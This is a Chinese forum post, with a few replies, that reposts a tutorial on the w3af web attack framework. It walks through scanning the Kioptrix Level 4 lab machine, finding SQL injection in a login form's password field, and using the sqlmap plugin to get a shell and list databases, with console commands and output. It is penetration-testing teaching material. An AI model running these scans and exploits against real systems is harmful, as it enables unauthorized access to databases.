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w3af简单使用教程【转】

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    2024-12-14 22:22
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    [LV.Master]伴坛终老

    发表于 2012-8-27 09:14:48 | 显示全部楼层 |阅读模式
    w3af是一个Web应用程序攻击和检查框架.
    该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架
    以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.

    0×00 概述

    在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.

    0×01 简介

    w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.
    该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.

    0×02 安装

    [PHP] 纯文本查看 复制代码
    root@bt:~# apt-get install w3af


    0×03 启动

    [PHP] 纯文本查看 复制代码
    root@bt:~# cd /pentest/web/w3af/
    root@bt:/pentest/web/w3af# ./w3af_console


    0×04 漏洞扫描配置

    [PHP] 纯文本查看 复制代码
    w3af>>> plugins
    //进入插件模块
    w3af/plugins>>> list discovery
    //列出所有用于发现的插件
    w3af/plugins>>> discovery findBackdoor phpinfo webSpider
    //启用findBackdoor phpinfo webSpider这三个插件
    w3af/plugins>>> list audit
    //列出所有用于漏洞的插件
    w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss
    //启用blindSqli fileUpload osCommanding sqli xss这五个插件
    w3af/plugins>>> back
    //返回主模块
    w3af>>> target
    //进入配置目标的模块
    w3af/config:target>>> set target [url]http://192.168.244.132/[/url]
    //把目标设置为[url]http://192.168.244.132/[/url]
    w3af/config:target>>> back
    //返回主模块


    0×05 漏洞扫描

    [PHP] 纯文本查看 复制代码
    w3af>>> start
    ---
    New URL found by phpinfo plugin: [url]http://192.168.244.132/[/url]
    New URL found by phpinfo plugin: [url]http://192.168.244.132/checklogin.php[/url]
    New URL found by phpinfo plugin: [url]http://192.168.244.132/index.php[/url]
    New URL found by webSpider plugin: [url]http://192.168.244.132/[/url]
    New URL found by webSpider plugin: [url]http://192.168.244.132/checklogin.php[/url]
    New URL found by webSpider plugin: [url]http://192.168.244.132/index.php[/url]
    Found 3 URLs and 8 different points of injection.
    The list of URLs is:
    - [url]http://192.168.244.132/index.php[/url]
    - [url]http://192.168.244.132/checklogin.php[/url]
    - [url]http://192.168.244.132/[/url]
    The list of fuzzable requests is:
    - [url]http://192.168.244.132/[/url] | Method: GET
    - [url]http://192.168.244.132/[/url] | Method: GET | Parameters: (mode="phpinfo")
    - [url]http://192.168.244.132/[/url] | Method: GET | Parameters: (view="phpinfo")
    - [url]http://192.168.244.132/checklogin.php[/url] | Method: GET
    - [url]http://192.168.244.132/checklogin.php[/url] | Method: POST | Parameters: (myusername="", mypassword="")
    - [url]http://192.168.244.132/index.php[/url] | Method: GET
    - [url]http://192.168.244.132/index.php[/url] | Method: GET | Parameters: (mode="phpinfo")
    - [url]http://192.168.244.132/index.php[/url] | Method: GET | Parameters: (view="phpinfo")
    Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
    A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
    A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
    SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
    Scan finished in 19 seconds.
    ---
    //开始扫描


    0×06 漏洞利用配置

    [PHP] 纯文本查看 复制代码
    w3af>>> exploit
    //进入漏洞利用模块
    w3af/exploit>>> list exploit
    //列出所有用于漏洞利用的插件
    w3af/exploit>>> exploit sqlmap
    //使用sqlmap进行SQL注入漏洞的测试


    [PHP] 纯文本查看 复制代码
    ---
    Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
    Vulnerability successfully exploited. This is a list of available shells and proxies:
    - [0] <sql object ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>
    Please use the interact command to interact with the shell objects.
    ---
    //测试存在SQL注入漏洞
    //这里要记住shell objects(这里是0),等一下要用到
    0x07 漏洞利用
    w3af/exploit>>> interact 0
    //interact + shell object就可以利用了
    
    ---
    Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
    w3af/exploit/sqlmap-0>>>
    ---
    //sqlmap的一个交互式模块
    
    w3af/exploit/sqlmap-0>>> dbs   
    
    ---
    Available databases:  [3]:
    [*] information_schema
    [*] members
    [*] mysql
    ---
    //成功获得数据库信息
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    发表于 2012-8-27 17:54:07 | 显示全部楼层
    安装了 谢谢分享
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    该用户从未签到

    发表于 2013-1-26 15:14:57 | 显示全部楼层
    来晚了、、 不过谢谢分享  很好的渗透测试工具、、、  
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    发表于 2013-2-21 11:55:34 | 显示全部楼层
    这个很慢啊
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